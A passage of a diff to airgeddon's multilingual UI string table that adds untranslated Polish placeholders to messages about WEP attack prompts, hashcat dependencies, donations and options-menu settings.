и т.д.)" arr["GREEK",429]="Η \"All-in-One\" επίθεση WEP συνδυάζει διαφορετικές τεχνικές για να παραχθεί αρκετή κίνηση για να αποκρυπτογραφήσει το κλειδί (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentation, Fake association, κλπ)" arr["ITALIAN",429]="L'attacco WEP \"Tutto-in-Uno\" combina diverse tecniche per generare il traffico necessario per decifrare la chiave (Caffe Latte, Hirte, Replay, Chop-Chop, Frammentazione, Falsa associazione, ecc.)" + arr["POLISH",429]="${pending_of_translation} " arr["ENGLISH",430]="If the password for the wifi network is obtained with the \"All-in-One\" WEP attack, you should decide where to save it. ${green_color}Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${wep_potpath}]" arr["SPANISH",430]="Si se consigue la contraseña de la red wifi con el ataque WEP \"Todo-en-Uno\", hay que decidir donde guardarla. ${green_color}Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${wep_potpath}]" @@ -4348,6 +4778,7 @@ function language_strings() { arr["RUSSIAN",430]="Если во время WEP атаки \"Все-в-Одном\" на Wi-Fi сеть получен пароль, вы должны решить, где его сохранить. ${green_color} Наберите путь для сохранения файла или нажмите [Enter] для принятия значения по умолчанию ${normal_color}[${wep_potpath}]" arr["GREEK",430]="Εάν βρεθεί ο κωδικός πρόσβασης για το ασύρματο δίκτυο με την επίθεση WEP \"All-in-One\", θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. ${green_color}Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${wep_potpath}]" arr["ITALIAN",430]="Se si ottiene la password della rete wireless con l'attacco WEP \"Tutto-en-Uno\", decidere dove salvarla. ${green_color}Immettere il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default ${normal_color}[${wep_potpath}]" + arr["POLISH",430]="${pending_of_translation} " arr["ENGLISH",431]="The WEP protocol had a bad design and can be cracked in a few minutes if we have enough generated traffic" arr["SPANISH",431]="El protocolo WEP tuvo un diseño erróneo y se puede romper en pocos minutos si se genera tráfico suficiente" @@ -4357,6 +4788,7 @@ function language_strings() { arr["RUSSIAN",431]="Протокол WEP сделан неудачно и при достаточном количестве сгенерированного трафика может быть взломан в считанные минуты" arr["GREEK",431]="Το πρωτόκολλο WEP είχε κακό σχεδιασμό και μπορεί να σπάσει μέσα σε λίγα λεπτά, αν έχουμε αρκετή κίνηση πακέτων" arr["ITALIAN",431]="Il protocollo WEP fú disegnato male e si puó rompere in pochi minuti se si genera abbastanza traffico" + arr["POLISH",431]="${pending_of_translation} " arr["ENGLISH",432]="Captured IVs (Initialization Vectors) are shown on airodump capture window as \"Data\"" arr["SPANISH",432]="Los IVs (Vectores de Inicialización) capturados, son representados en la ventana de captura de airodump como \"Data\"" @@ -4366,6 +4798,7 @@ function language_strings() { arr["RUSSIAN",432]="Захваченные IVs (Векторы Инициализации) показаны в окне захвата airodump как \"Data\"" arr["GREEK",432]="Τα ληφθέντα IVs (Initialization Vectors) εμφανίζονται στο παράθυρο καταγραφής airodump ως \"Data\"" arr["ITALIAN",432]="I IV (Vettori di Inizializzazione) catturati, sono rappresentati nella finestra di acquisizione di airodump come \"Data\"" + arr["POLISH",432]="${pending_of_translation} " arr["ENGLISH",433]="Some access points are not vulnerable to certain WEP attacks. Like for example the Chop-Chop attack, that only affects some of them" arr["SPANISH",433]="Algunos puntos de acceso no son vulnerables a ciertos ataques WEP. Como por ejemplo el ataque Chop-Chop, que solo afecta a algunos" @@ -4375,6 +4808,7 @@ function language_strings() { arr["RUSSIAN",433]="Некоторые точки доступа не подвержены определенным атакам WEP. Например, атаке Chop-Chop подвержены только некоторые из них" arr["GREEK",433]="Ορισμένα σημεία πρόσβασης δεν είναι ευάλωτα σε ορισμένες επιθέσεις WEP. Για παράδειγμα η επίθεση Chop-Chop, επηρεάζει μόνο μερικά από αυτά" arr["ITALIAN",433]="Alcuni punti di accesso non sono vulnerabili a certi attacchi WEP. Come ad esempio l'attacco Chop-Chop, che colpisce solo alcuni" + arr["POLISH",433]="${pending_of_translation} " arr["ENGLISH",434]="WEP \"All-in-One\" attack has been started. Press [Enter] key on this window to stop it" arr["SPANISH",434]="El ataque WEP \"Todo-en-Uno\" ha comenzado. Pulse la tecla [Enter] en esta ventana para pararlo" @@ -4384,6 +4818,7 @@ function language_strings() { arr["RUSSIAN",434]="Атака WEP \"Все-в-Одном\" началась. Для её остановки клавишу [Enter] в этом окне" arr["GREEK",434]="Η επίθεση WEP \"All-in-One\" έχει αρχίσει. Πατήστε το κουμπί [Enter] σε αυτό το παράθυρο για να την σταματήσετε" arr["ITALIAN",434]="L'attacco WEP \"Tutto-in-Uno\" è iniziato. Premere il tasto [Enter] in questa finestra per fermarlo" + arr["POLISH",434]="${pending_of_translation} " arr["ENGLISH",435]="Error trying to change interface mode. During the process the interface name must be changed, but it looks like you already have an interface occupying the name that would be needed (${normal_color}${desired_interface_name}${red_color})" arr["SPANISH",435]="Error al intentar cambiar el modo de la interfaz. En el proceso el nombre de la interfaz cambia, pero parece que ya tienes una interfaz ocupando el nombre que se necesitaría (${normal_color}${desired_interface_name}${red_color})" @@ -4393,6 +4828,7 @@ function language_strings() { arr["RUSSIAN",435]="Ошибка при попытке изменить режим интерфейса. Во время этого процесса имя интерфейса должно быть изменено, но похоже, что у вас уже есть интерфейс, занимающий нужное имя (${normal_color}${desired_interface_name}${red_color})" arr["GREEK",435]="Προέκυψε σφάλμα καθώς άλλαζε η κατάσταση της διεπαφής. Κατά τη διάρκεια της διαδικασίας, το όνομα της διεπαφής πρέπει να αλλάξει, αλλά φαίνεται ότι έχετε ήδη μια διεπαφή που έχει το όνομα που θα χρειαζόταν (${normal_color}${desired_interface_name}${red_color})" arr["ITALIAN",435]="Errore cercando di cambiare la modalità dell'interfaccia. Nel processo il nome dell'interfaccia cambia, peró sembra che già disponi di un'interfaccia che usa il nome di cui avresti bisogno (${normal_color}${desired_interface_name}${red_color})" + arr["POLISH",435]="${pending_of_translation} " arr["ENGLISH",436]="The hashcat version you have installed (${hashcat_version}) is greater or equal than ${hashcat_hccapx_version} so you need to convert the capture files to \"hccapx\" format, airgeddon will do this automatically. To do this you need a converter that is not present on your system (hashcat-utils package), install it to be able to perform this attack" arr["SPANISH",436]="La versión de hashcat que tienes instalada (${hashcat_version}) es igual o superior a la ${hashcat_hccapx_version} por lo que es necesario convertir los ficheros de captura a formato \"hccapx\", airgeddon lo hará automáticamente. Pero para ello hace falta un conversor que no está presente en tu sistema (paquete hashcat-utils), instálalo para poder realizar este ataque" @@ -4402,6 +4838,7 @@ function language_strings() { arr["RUSSIAN",436]="Установленная версия hashcat (${hashcat_version}) больше или равна ${hashcat_hccapx_version}, поэтому вам нужно конвертировать файлы захвата в формат \"hccapx\", airgeddon сделает это автоматически. Для этого вам нужен конвертер, которого нет в вашей системе (пакет hashcat-utils), установите его, чтобы иметь возможность выполнить эту атаку" arr["GREEK",436]="Η έκδοση του hashcat που έχετε εγκαταστήσει (${hashcat_version}) είναι ίδια ή νεότερη από την έκδοση ${hashcat_hccapx_version}, άρα το airgeddon θα μετατρέψει τα αρχεία καταγραφής σε \"hccapx\" για να συνεχιστεί η διαδικασία. Για να επιτευχθεί αυτό χρειάζεστε ένα μετατροπέα που δεν υπάρχει στο σύστημά σας (περιέχεται στο πακέτο hashcat-utils), εγκαταστήστε το για να εκτελέσετε αυτήν την επίθεση" arr["ITALIAN",436]="La versione di hashcat installata (${hashcat_version}) è uguale o superiore alla ${hashcat_hccapx_version} quindi è necessario convertire i file di acquisizione al formato \"hccapx\", airgeddon lo fará automaticamente. Peró questo richiede un convertitore che non è presente nel sistema (pacchetto hashcat-utils), installalo per eseguire questo attacco" + arr["POLISH",436]="${pending_of_translation} " arr["ENGLISH",437]="If you enjoyed the script and found it useful, you can support the project by making a donation. Through Paypal (${normal_color}${mail}${pink_color}) or sending a fraction of a bitcoin (${normal_color}${bitcoin}${pink_color}). Any amount, no matter how small (1, 2, 5 $/€) is welcome. More information and direct links to do it at: ${normal_color}${urlgithub_wiki}/Contributing" arr["SPANISH",437]="Si te gustó el script y te pareció útil, puedes apoyar el proyecto haciendo una donación. A través de Paypal (${normal_color}${mail}${pink_color}) o enviando una fracción de bitcoin (${normal_color}${bitcoin}${pink_color}). Cualquier cantidad por pequeña que sea (1, 2, 5 $/€) es bien recibida. Más información y enlaces directos para realizarla en: ${normal_color}${urlgithub_wiki}/Contributing" @@ -4411,6 +4848,7 @@ function language_strings() { arr["RUSSIAN",437]="Если вам понравилась эта программа и она оказался для вас полезной, вы можете поддержать проект, сделав пожертвование. Через PayPal (${normal_color}${mail}${pink_color}) или отправив часть биткойна на (${normal_color}${bitcoin}${pink_color}). Приветствуется любая сумма, даже небольшая (1, 2, 5 $/€). Более подробную информацию и прямые ссылки можно получить по адресу: ${normal_color}${urlgithub_wiki}/Contributing" arr["GREEK",437]="Εαν ευχαριστηθήκατε το script και το βρήκατε χρήσιμο, μπορείτε να υποστηρίξετε το project κάνοντας κάποια δωρεά. Μέσω του Paypal (${normal_color}${mail}${pink_color}) ή στέλνοντας κάποιο ποσοστό bitcoin (${normal_color}${bitcoin}${pink_color}). Είναι καλοδεχούμενο οποιοδήποτε ποσό (1, 2, 5 $/€), δεν έχει σημασία το πόσο λίγο μπορεί να είναι. Δίνονται περισσότερες πληροφορίες και links για να κάνετε δωρεά στη διεύθυνση: ${normal_color}${urlgithub_wiki}/Contributing" arr["ITALIAN",437]="Se ti è piaciuto lo script e l'hai trovato utile, puoi sostenere il progetto con una donazione. Attraverso PayPal (${normal_color}${mail}${pink_color}) o inviando una frazione di bitcoin (${normal_color}${bitcoin}${pink_color}). Qualsiasi importo per quanto piccolo (1, 2, 5 $/€) è ben accolto. Piú informazioni e collegamenti diretti per realizzarla in: ${normal_color}${urlgithub_wiki}/Contributing" + arr["POLISH",437]="${pending_of_translation} " arr["ENGLISH",438]="We are looking for translators to other languages. If you want to see airgeddon in your native language and you also know english, contact us. More information at: ${normal_color}${urlgithub_wiki}/Contributing" arr["SPANISH",438]="Buscamos traductores para otros idiomas. Si quieres ver airgeddon en tu lengua materna y además sabes inglés, contáctanos. Más información en: ${normal_color}${urlgithub_wiki}/Contributing" @@ -4420,6 +4858,7 @@ function language_strings() { arr["RUSSIAN",438]="Мы ищем переводчиков на другие языки. Если вы хотите увидеть airgeddon на своем родном языке, и вы знаете английский язык, пожалуйста, свяжитесь с нами. Дополнительная информация: ${normal_color}${urlgithub_wiki}/Contributing" arr["GREEK",438]="Ψάχνουμε μεταφραστές για την υποστήριξη περισσότερων γλωσσών. Αν θέλετε να χρησιμοποιείτε το airgeddon στη μητρική σας γλώσσα, αλλά ξέρετε και αγγλικά, παρακαλούμε επικοινωνήστε μαζί μας. Περισσότερες πληροφορίες: ${normal_color}${urlgithub_wiki}/Contributing" arr["ITALIAN",438]="Cerchiamo traduttori per le altre lingue. Se volete vedere airgeddon nella vostra lingua madre e conoscete anche l'inglese, non esitate a contattarci. Per maggiori informazioni: ${normal_color}${urlgithub_wiki}/Contributing" + arr["POLISH",438]="${pending_of_translation} " arr["ENGLISH",439]="${blue_color}You haven't selected any target, you'll be prompted to input data manually. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",439]="${blue_color}Se ha detectado que no tienes seleccionado ningún objetivo, tendrás que introducir los datos manualmente. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -4429,6 +4868,7 @@ function language_strings() { arr["RUSSIAN",439]="${blue_color}Вы не выбрали какую-либо цель, вам будет предложено ввести данные вручную. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",439]="${blue_color}Δεν έχετε επιλέξει κάποιο στόχο, θα σας ζητηθεί να εισάγετε τα δεδομένα χειροκίνητα. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",439]="${blue_color}Abbiamo rilevato che non è stato selezionato alcun obiettivo, è necessario immettere manualmente i dati. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" + arr["POLISH",439]="${pending_of_translation} " arr["ENGLISH",440]="Aircrack trophy file generated successfully at [${normal_color}${aircrackpotenteredpath}${blue_color}]" arr["SPANISH",440]="Fichero de trofeo aircrack generado con éxito en [${normal_color}${aircrackpotenteredpath}${blue_color}]" @@ -4438,6 +4878,7 @@ function language_strings() { arr["RUSSIAN",440]="Трофейный файл aircrack был успешно сгенерирован в [${normal_color}${aircrackpotenteredpath}${blue_color}]" arr["GREEK",440]="Το aircrack αρχείο τρόπαιο δημιουργήθηκε επιτυχώς [${normal_color}${aircrackpotenteredpath}${blue_color}]" arr["ITALIAN",440]="Il file trofeo di aircrack è stato generato con successo in [${normal_color}${aircrackpotenteredpath}${blue_color}]" + arr["POLISH",440]="${pending_of_translation} " arr["ENGLISH",441]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${aircrack_potpath}]" arr["SPANISH",441]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${aircrack_potpath}]" @@ -4447,6 +4888,7 @@ function language_strings() { arr["RUSSIAN",441]="Напечатайте путь к сохранённому файлу или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${aircrack_potpath}]" arr["GREEK",441]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${aircrack_potpath}]" arr["ITALIAN",441]="Immettere il percorso dove memorizzare il file o premere [Enter] per accettare quello proposto di default ${normal_color}[${aircrack_potpath}]" + arr["POLISH",441]="${pending_of_translation} " arr["ENGLISH",442]="If you install ccze you'll see some parts of airgeddon in a colorized way with better aspect. It's not a requirement or a dependency, but it will improve the user experience" arr["SPANISH",442]="Si instalas el paquete ccze podrás ver algunas partes de airgeddon colorizadas y con mejor aspecto. No es un requerimiento ni una dependencia, pero mejorará la experiencia de usuario" @@ -4456,6 +4898,7 @@ function language_strings() { arr["RUSSIAN",442]="Если вы установите ccze, то некоторые цветные элементы airgeddon будут выглядеть лучше. Это не требование или зависимость, но это улучшит работу пользователя" arr["GREEK",442]="Αν εγκαταστήσετε το ccze θα δείτε μερικά κομμάτια του airgeddon, πολύχρωμα με καλύτερη εμφάνιση. Δεν είναι απαραίτητο dependency, αλλά θα βελτιώσει την εμπειρία του χρήστη" arr["ITALIAN",442]="Se installi il pacchetto ccze vedrai alcune parti di airgeddon colorate e più belle. Non è un requisito né una dipendenza, ma migliorerà l'esperienza dell'utente" + arr["POLISH",442]="${pending_of_translation} " arr["ENGLISH",443]="Options and language menu" arr["SPANISH",443]="Menú de opciones e idioma" @@ -4465,6 +4908,7 @@ function language_strings() { arr["RUSSIAN",443]="Настройки и языковое меню" arr["GREEK",443]="Μενού επιλογών και γλώσσας" arr["ITALIAN",443]="Menú opzioni e lingua" + arr["POLISH",443]="${pending_of_translation} " arr["ENGLISH",444]="11. Options and language menu" arr["SPANISH",444]="11. Menú de opciones e idioma" @@ -4474,6 +4918,7 @@ function language_strings() { arr["RUSSIAN",444]="11. Настройки и языковое меню" arr["GREEK",444]="11. Μενού επιλογών και γλώσσας" arr["ITALIAN",444]="11. Menú opzioni e lingua" + arr["POLISH",444]="${pending_of_translation} " arr["ENGLISH",445]="If you have ccze installed and are experiencing display errors or glitches on some windows, you should disable colorization in the option and language menu" arr["SPANISH",445]="Si tienes instalado ccze y experimentas errores de visualización o parpadeos en algunas ventanas, desactiva la colorización en el menú de opciones e idioma" @@ -4483,6 +4928,7 @@ function language_strings() { arr["RUSSIAN",445]="Если у вас установлен ccze и возникают ошибки отображения или сбои в некоторых окнах, вы должны отключить цветной вывод в пункте Настройки и языковое меню" arr["GREEK",445]="Εάν έχετε εγκαταστήσει το ccze και αντιμετωπίζετε σφάλματα εμφάνισης ή δυσλειτουργίες σε ορισμένα παράθυρα, θα πρέπει να απενεργοποιήσετε τον χρωματισμό στο μενού επιλογών και γλώσσας" arr["ITALIAN",445]="Se hai installato ccze e vedi errori o alcune finestre tremolanti, disattiva la colorazione nel menú opzioni e lingua" + arr["POLISH",445]="${pending_of_translation} " arr["ENGLISH",446]="10. Return to options menu" arr["SPANISH",446]="10. Volver al menú de opciones" @@ -4492,6 +4938,7 @@ function language_strings() { arr["RUSSIAN",446]="10. Возврат в меню опций" arr["GREEK",446]="10. Επιστροφή στο μενού επιλογών" arr["ITALIAN",446]="10. Tornare al menú delle opzioni" + arr["POLISH",446]="${pending_of_translation} " arr["ENGLISH",447]="5. Set permanently airgeddon's language to the current one" arr["SPANISH",447]="5. Cambiar permanentemente el idioma de airgeddon al actual" @@ -4501,6 +4948,7 @@ function language_strings() { arr["RUSSIAN",447]="5. Сделать текущий язык airgeddon постоянным" arr["GREEK",447]="5. Θέστε μόνιμα την τρέχουσα γλώσσα του airgeddon ως προεπιλεγμένη" arr["ITALIAN",447]="5. Modificare in modo permanente la lingua di airgeddon a quella attuale" + arr["POLISH",447]="${pending_of_translation} " arr["ENGLISH",448]="If you installed airgeddon from a repository, you should not enable automatic updates. airgeddon will be updated when there is a new version in the repository" arr["SPANISH",448]="Si instalaste airgeddon desde un repositorio, no deberías activar la actualización automática. airgeddon se actualizará cuando haya una nueva versión en el repositorio" @@ -4510,6 +4958,7 @@ function language_strings() { arr["RUSSIAN",448]="Если вы установили airgeddon из репозитория, вам не следует включать автоматические обновления. airgeddon будет обновляться, когда в репозитории будет новая версия" arr["GREEK",448]="Αν εγκαταστήσατε το airgeddon από κάποιο επίσημο αποθετήριο, δεν θα πρέπει να ενεργοποιήσετε τις αυτόματες ενημερώσεις. Το airgeddon θα ενημερωθεί όταν υπάρξει κάποια νέα έκδοση στο επίσημο αποθετήριο" arr["ITALIAN",448]="Se è stato installato airgeddon da un repository, non si dovrebbe attivare l'aggiornamento automatico. airgeddon sará aggiornato quando ci sará una nuova versione nel repository" + arr["POLISH",448]="${pending_of_translation} " arr["ENGLISH",449]="2. Enable automatic updates permanently" arr["SPANISH",449]="2. Habilitar permanentemente la actualización automática" @@ -4519,6 +4968,7 @@ function language_strings() { arr["RUSSIAN",449]="2. Включение постоянных автоматических обновлений" arr["GREEK",449]="2. Ενεργοποιήστε μόνιμα τις αυτόματες ενημερώσεις" arr["ITALIAN",449]="2. Abilitare permanentemente l'aggiornamento automatico" + arr["POLISH",449]="${pending_of_translation} " arr["ENGLISH",450]="3. Enable colorization permanently (on some screen's output)" arr["SPANISH",450]="3. Habilitar permanentemente la colorización (en la salida de algunas pantallas)" @@ -4528,6 +4978,7 @@ function language_strings() { arr["RUSSIAN",450]="3. Включение постоянного цветного вывода (в некоторых окнах программы)" arr["GREEK",450]="3. Ενεργοποιήστε μόνιμα τον χρωματισμό (σε κάποια σημεία)" arr["ITALIAN",450]="3. Abilitare permanentemente la colorazione (in alcuni schermi)" + arr["POLISH",450]="${pending_of_translation} " arr["ENGLISH",451]="Automatic updates: ${pink_color}Enabled${normal_color}" arr["SPANISH",451]="Actualizaciones automáticas: ${pink_color}Activadas${normal_color}" @@ -4537,6 +4988,7 @@ function language_strings() { arr["RUSSIAN",451]="Автоматическое обновление: ${pink_color}Включено${normal_color}" arr["GREEK",451]="Αυτόματη ενημέρωση: ${pink_color}Ενεργοποιημένο${normal_color}" arr["ITALIAN",451]="Aggiornamenti automatici: ${pink_color}Abilitati${normal_color}" + arr["POLISH",451]="${pending_of_translation} " arr["ENGLISH",452]="Automatic updates: ${pink_color}Disabled${normal_color}" arr["SPANISH",452]="Actualizaciones automáticas: ${pink_color}Desactivadas${normal_color}" @@ -4546,6 +4998,7 @@ function language_strings() { arr["RUSSIAN",452]="Автоматическое обновление: ${pink_color}Отключено${normal_color}" arr["GREEK",452]="Αυτόματη ενημέρωση: ${pink_color}Απενεργοποιημένο${normal_color}" arr["ITALIAN",452]="Aggiornamenti automatici: ${pink_color}Disabilitati${normal_color}" + arr["POLISH",452]="${pending_of_translation} " arr["ENGLISH",453]="Colorization (on some screen's output): ${pink_color}Enabled${normal_color}" arr["SPANISH",453]="Colorización (en la salida de algunas pantallas): ${pink_color}Activada${normal_color}" @@ -4555,6 +5008,7 @@ function language_strings() { arr["RUSSIAN",453]="Использование цветов (в некоторых окнах программы): ${pink_color}Включено${normal_color}" arr["GREEK",453]="Χρωματισμός (σε κάποια σημεία): ${pink_color}Ενεργοποιημένο${normal_color}" arr["ITALIAN",453]="Colorazione (in alcuni schermi): ${pink_color}Abilitata${normal_color}" + arr["POLISH",453]="${pending_of_translation} " arr["ENGLISH",454]="Colorization (on some screen's output): ${pink_color}Disabled${normal_color}" arr["SPANISH",454]="Colorización (en la salida de algunas pantallas): ${pink_color}Desactivada${normal_color}" @@ -4564,6 +5018,7 @@ function language_strings() { arr["RUSSIAN",454]="Использование цветов (в некоторых окнах программы): ${pink_color}Отключено${normal_color}" arr["GREEK",454]="Χρωματισμός (σε κάποια σημεία): ${pink_color}Απενεργοποιημένο${normal_color}" arr["ITALIAN",454]="Colorazione (in alcuni schermi): ${pink_color}Disabilitata${normal_color}" + arr["POLISH",454]="${pending_of_translation} " arr["ENGLISH",455]="2. Disable automatic updates permanently" arr["SPANISH",455]="2. Deshabilitar permanentemente la actualización automática" @@ -4573,6 +5028,7 @@ function language_strings() { arr["RUSSIAN",455]="2. Отключить постоянные автоматические обновления" arr["GREEK",455]="2. Απενεργοποιήστε μόνιμα τις αυτόματες ενημερώσεις" arr["ITALIAN",455]="2. Disattivare permanentemente gli aggiornamenti automatici" + arr["POLISH",455]="${pending_of_translation} " arr["ENGLISH",456]="3. Disable colorization permanently (on some screen's output)" arr["SPANISH",456]="3. Deshabilitar permanentemente la colorización (en la salida de algunas pantallas)" @@ -4582,6 +5038,7 @@ function language_strings() { arr["RUSSIAN",456]="3. Постоянное отключение использования цветов (в некоторых окнах программы)" arr["GREEK",456]="3. Απενεργοποιήστε μόνιμα τον χρωματισμό (σε κάποια σημεία)" arr["ITALIAN",456]="3. Disattivare permanentemente la colorazione (in alcuni schermi)" + arr["POLISH",456]="${pending_of_translation} " arr["ENGLISH",457]="${blue_color}Automatic updates are going to be disabled. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",457]="${blue_color}Se van a desactivar las actualizaciones automáticas. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -4591,6 +5048,7 @@ function language_strings() { arr["RUSSIAN",457]="${blue_color}Автоматические обновления будут отключены. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",457]="${blue_color}Οι αυτόματες ενημερώσεις πρόκειται να απενεργοποιηθούν. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",457]="${blue_color}Si stano per disattivare gli aggiornamenti automatici. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" + arr["POLISH",457]="${pending_of_translation} " arr["ENGLISH",458]="${blue_color}Automatic updates are going to be enabled. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",458]="${blue_color}Se van a activar las actualizaciones automáticas. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -4600,6 +5058,7 @@ function language_strings() { arr["RUSSIAN",458]="${blue_color}Автоматические обновления будут включены. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",458]="${blue_color}Οι αυτόματες ενημερώσεις πρόκειται να ενεργοποιηθούν. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",458]="${blue_color}Si stanno per attivare gli aggiornamenti automatici. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" + arr["POLISH",458]="${pending_of_translation} " arr["ENGLISH",459]="If you installed airgeddon from a repository you shouldn't enable this option. airgeddon will be updated when the repositories do. If you continue, make sure you know what you are doing, or you could cause problems with update flow" arr["SPANISH",459]="Si instalaste airgeddon desde un repositorio no deberías activar esta opción. airgeddon se actualizará cuando lo hagan los repositorios. Si continuas, asegúrate de saber bien lo que haces o podrías causar problemas con flujo de actualizaciones" @@ -4609,6 +5068,7 @@ function language_strings() { arr["RUSSIAN",459]="Если вы установили airgeddon из репозитория, вы не должны включать эту опцию. airgeddon будет обновляться вместе с репозиториями. Если вы продолжите, убедитесь, что знаете, что делаете, или ваши действия могут вызвать проблемы для этой программы" arr["GREEK",459]="Εάν εγκαταστήσατε το airgeddon από κάποιο επίσημο αποθετήριο, δεν πρέπει να ενεργοποιήσετε αυτή την επιλογή. Το airgeddon θα ενημερωθεί όταν ενημερωθούν και τα αποθετήρια. Αν συνεχίσετε, βεβαιωθείτε ότι γνωρίζετε τι κάνετε και ότι θα μπορεί να προκαλέσετε προβλήματα με τη ροή ενημέρωσης" arr["ITALIAN",459]="Se airgeddon è stato installato da un repository non si dovrebbe attivare questa opzione. airgeddon sará aggiornato quando lo faranno i repository. Se continui, assicurati di sapere bene quello che fai o potrebbe causare problemi al flusso degli aggiornamenti" + arr["POLISH",459]="${pending_of_translation} " arr["ENGLISH",460]="Automatic updates have been enabled" arr["SPANISH",460]="Se han activado las actualizaciones automáticas" @@ -4618,6 +5078,7 @@ function language_strings() { arr["RUSSIAN",460]="Автоматические обновления включены" arr["GREEK",460]="Οι αυτόματες ενημερώσεις έχουν ενεργοποιηθεί" arr["ITALIAN",460]="Sono stati attivati gli aggiornamenti automatici" + arr["POLISH",460]="${pending_of_translation} " arr["ENGLISH",461]="Automatic updates have been disabled" arr["SPANISH",461]="Se han desactivado las actualizaciones automáticas" @@ -4627,6 +5088,7 @@ function language_strings() { arr["RUSSIAN",461]="Автоматические обновления отключены" arr["GREEK",461]="Οι αυτόματες ενημερώσεις έχουν απενεργοποιηθεί" arr["ITALIAN",461]="Sono stati disattivati gli aggiornamenti automatici" + arr["POLISH",461]="${pending_of_translation} " arr["ENGLISH",462]="${blue_color}Colorization (on some screen's output) is going to be disabled. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",462]="${blue_color}Se va a desactivar la colorización (en la salida de algunas pantallas). ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -4636,6 +5098,7 @@ function language_strings() { arr["RUSSIAN",462]="${blue_color}Использование цветов (в некоторых окнах программы) будет отключено. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",462]="${blue_color}Ο χρωματισμός (σε κάποια σημεία) πρόκειται να απενεργοποιηθεί. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",462]="${blue_color}La colorazione sará disattivata (in alcuni schermi). ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" + arr["POLISH",462]="${pending_of_translation} " arr["ENGLISH",463]="${blue_color}Colorization (on some screen's output) is going to be enabled. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",463]="${blue_color}Se va a activar la colorización (en la salida de algunas pantallas). ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -4645,6 +5108,7 @@ function language_strings() { arr["RUSSIAN",463]="Использование цветов (в некоторых окнах программы) будет включено. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",463]="${blue_color}Ο χρωματισμός (σε κάποια σημεία) πρόκειται να ενεργοποιηθεί. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",463]="${blue_color}La colorazione sará attivata (in alcuni schermi). ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" + arr["POLISH",463]="${pending_of_translation} " arr["ENGLISH",464]="You don't have the ccze package installed so any change on this option will have no effect until you install it" arr["SPANISH",464]="No tienes instalado el paquete ccze por lo que cualquier cambio que realices sobre esta opción no tendrá efecto hasta que lo instales" @@ -4654,6 +5118,7 @@ function language_strings() { arr["RUSSIAN",464]="У вас не установлен пакет ccze, поэтому любое изменение этой опции не будет иметь никакого эффекта, пока вы его не установите" arr["GREEK",464]="Δεν έχετε εγκατεστημένο το πακέτο ccze, οπότε οποιαδήποτε αλλαγή σε αυτήν την επιλογή δεν θα έχει αποτέλεσμα μέχρι να το εγκαταστήσετε" arr["ITALIAN",464]="Non è stato installato il pacchetto ccze per cui tutte le modifiche apportate su questa opzione non avranno alcun effetto finché non si installa" + arr["POLISH",464]="${pending_of_translation} " arr["ENGLISH",465]="Colorization has been enabled" arr["SPANISH",465]="Se ha activado la colorización" @@ -4663,6 +5128,7 @@ function language_strings() { arr["RUSSIAN",465]="Использование цветов включено" arr["GREEK",465]="Ο χρωματισμός ενεργοποιήθηκε" arr["ITALIAN",465]="La colorazione è stata abilitata" + arr["POLISH",465]="${pending_of_translation} " arr["ENGLISH",466]="Colorization has been disabled" arr["SPANISH",466]="Se ha desactivado la colorización" @@ -4672,6 +5138,7 @@ function language_strings() { arr["RUSSIAN",466]="Использование цветов отключено" arr["GREEK",466]="Ο χρωματισμός απενεργοποιήθηκε" arr["ITALIAN",466]="La colorazione è stata disabilitata" + arr["POLISH",466]="${pending_of_translation} " arr["ENGLISH",467]="4. Enable startup language autodetection permanently" arr["SPANISH",467]="4. Habilitar permanentemente la autodetección de idioma al inicio" @@ -4681,6 +5148,7 @@ function language_strings() { arr["RUSSIAN",467]="4. Автоматическое определение языка постоянно отключено" arr["GREEK",467]="4. Ενεργοποίηση του αυτόματου εντοπισμού γλώσσας κατά την εκκίνηση μόνιμα" arr["ITALIAN",467]="4. Abilitare permanentemente il rilevamento automatico della lingua all'inizio" + arr["POLISH",467]="${pending_of_translation} " arr["ENGLISH",468]="4. Disable startup language autodetection permanently" arr["SPANISH",468]="4. Deshabilitar permanentemente la autodetección de idioma al inicio" @@ -4690,6 +5158,7 @@ function language_strings() { 